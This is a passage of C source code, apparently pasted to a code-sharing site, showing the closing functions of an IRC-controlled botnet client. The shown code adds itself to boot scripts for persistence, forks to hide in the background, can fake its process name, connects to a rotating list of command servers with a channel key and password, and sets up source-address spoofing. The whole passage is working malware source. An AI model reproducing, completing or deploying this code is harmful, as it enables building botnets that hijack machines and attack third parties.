  830. for (i=0,d=0;d<5;d++) {
  831. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  832. if (i == strlen(str)) return;
  833. }
  834. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  835. msg[i]=0;
  836. if (!strcasecmp(msg,nick) && !spoofsm) {
  837. msg=str;
  838. for (i=0,d=0;d<3;d++) {
  839. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  840. if (i == strlen(str)) return;
  841. }
  842. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  843. msg[i]=0;
  844. if ((m = inet_addr(msg)) == -1) {
  845. if ((hostm=gethostbyname(msg)) == NULL) {
  846. //Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  847. return;
  848. }
  849. memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  850. }
  851. ((char*)&spoofs)[3]=((char*)&m)[0];
  852. ((char*)&spoofs)[2]=((char*)&m)[1];
  853. ((char*)&spoofs)[1]=((char*)&m)[2];
  854. ((char*)&spoofs)[0]=0;
  855. spoofsm=256;
  856. }
  857. }
  858. void _433(int sock, char *sender, char *str) {
  859. free(nick);
  860. char tempnick[50];
  861. char *strpref = PREFIX;
  862. char *genname = makestring();
  863. strcpy(tempnick,strpref);
  864. strcat(tempnick,genname);
  865. nick=tempnick;
  866. }
  867.  
  868. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  869. { "352", _352 },
  870. { "376", _376 },
  871. { "433", _433 },
  872. { "422", _376 },
  873. { "PRIVMSG", _PRIVMSG },
  874. { "PING", _PING },
  875. { (char *)0, (void (*)(int,char *,char *))0 } };
  876. void con() {
  877. struct sockaddr_in srv;
  878. unsigned long ipaddr,start;
  879. int flag;
  880. struct hostent *hp;
  881. start:
  882. sock=-1;
  883. flag=1;
  884. if (changeservers == 0) server=servers[rand()%numservers];
  885. changeservers=0;
  886. while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  887. if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  888. if ((hp = gethostbyname(server)) == NULL) {
  889. server=NULL;
  890. close(sock);
  891. goto start;
  892. }
  893. bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  894. }
  895. else srv.sin_addr.s_addr=inet_addr(server);
  896. srv.sin_family = AF_INET;
  897. srv.sin_port = htons(PORT);
  898. ioctl(sock,FIONBIO,&flag);
  899. start=time(NULL);
  900. while(time(NULL)-start < 10) {
  901. errno=0;
  902. if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  903. setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  904. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  905. setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  906. return;
  907. }
  908. if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  909. sleep(1);
  910. }
  911. server=NULL;
  912. close(sock);
  913. goto start;
  914. }
  915. int main(int argc, char *argv[]) {
  916. int on,i;
  917. char cwd[256],*str;
  918. FILE *file;
  919. #ifdef STARTUP
  920. str="/etc/rc.d/rc.local";
  921. file=fopen(str,"r");
  922. if (file == NULL) {
  923. str="/etc/rc.conf";
  924. file=fopen(str,"r");
  925. }
  926. if (file != NULL) {
  927. char outfile[256], buf[1024];
  928. int i=strlen(argv[0]), d=0;
  929. getcwd(cwd,256);
  930. if (strcmp(cwd,"/")) {
  931. while(argv[0][i] != '/') i--;
  932. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  933. while(!feof(file)) {
  934. fgets(buf,1024,file);
  935. if (!strcasecmp(buf,outfile)) d++;
  936. }
  937. if (d == 0) {
  938. FILE *out;
  939. fclose(file);
  940. out=fopen(str,"a");
  941. if (out != NULL) {
  942. fputs(outfile,out);
  943. fclose(out);
  944. }
  945. }
  946. else fclose(file);
  947. }
  948. else fclose(file);
  949. }
  950. #endif
  951. if (fork()) exit(0);
  952. #ifdef FAKENAME
  953. strncpy(argv[0],FAKENAME,strlen(argv[0]));
  954. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  955. #endif
  956. srand((time(NULL) ^ getpid()) + getppid());
  957. char tempnick[50];
  958. char *strpref = PREFIX;
  959. char *genname = makestring();
  960.  
  961. strcpy(tempnick,strpref);
  962. strcat(tempnick,genname);
  963.  
  964. nick=tempnick;
  965. ident="Remote";
  966. user="Remote IRC Bot";
  967. chan=CHAN;
  968. key=KEY;
  969. pass=PASS;
  970. server=NULL;
  971. sa:
  972. #ifdef IDENT
  973. for (i=0;i<numpids;i++) {
  974. if (pids[i] != 0 && pids[i] != getpid()) {
  975. kill(pids[i],9);
  976. waitpid(pids[i],NULL,WNOHANG);
  977. }
  978. }
  979. pids=NULL;
  980. numpids=0;
  981. identd();
  982. #endif
  983.  
  984. con();
  985. Send(sock,"PASS %s\n", pass);
  986. Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  987. while(1) {
  988. unsigned long i;
  989. fd_set n;
  990. struct timeval tv;
  991. FD_ZERO(&n);
  992. FD_SET(sock,&n);
  993. tv.tv_sec=60*20;
  994. tv.tv_usec=0;
  995. if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  996. for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  997. unsigned int *newpids,on;
  998. for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  999. pids[on-1]=0;
  1000. numpids--;
  1001. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  1002. for (on=0;on<numpids;on++) newpids[on]=pids[on];
  1003. free(pids);
  1004. pids=newpids;
  1005. }
  1006. if (FD_ISSET(sock,&n)) {
  1007. char buf[4096], *str;
  1008. int i;
  1009. if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  1010. buf[i]=0;
  1011. str=strtok(buf,"\n");
  1012. while(str && *str) {
  1013. char name[1024], sender[1024];
  1014. filter(str);
  1015. if (*str == ':') {
  1016. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1017. str[i]=0;
  1018. strcpy(sender,str+1);
  1019. strcpy(str,str+i+1);
  1020. }
  1021. else strcpy(sender,"*");
  1022. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1023. str[i]=0;
  1024. strcpy(name,str);
  1025. strcpy(str,str+i+1);
  1026. for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  1027. if (!strcasecmp(name,"ERROR")) goto sa;
  1028. str=strtok((char*)NULL,"\n");
  1029. }
  1030. }
  1031. }
  1032. return 0;
  1033. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement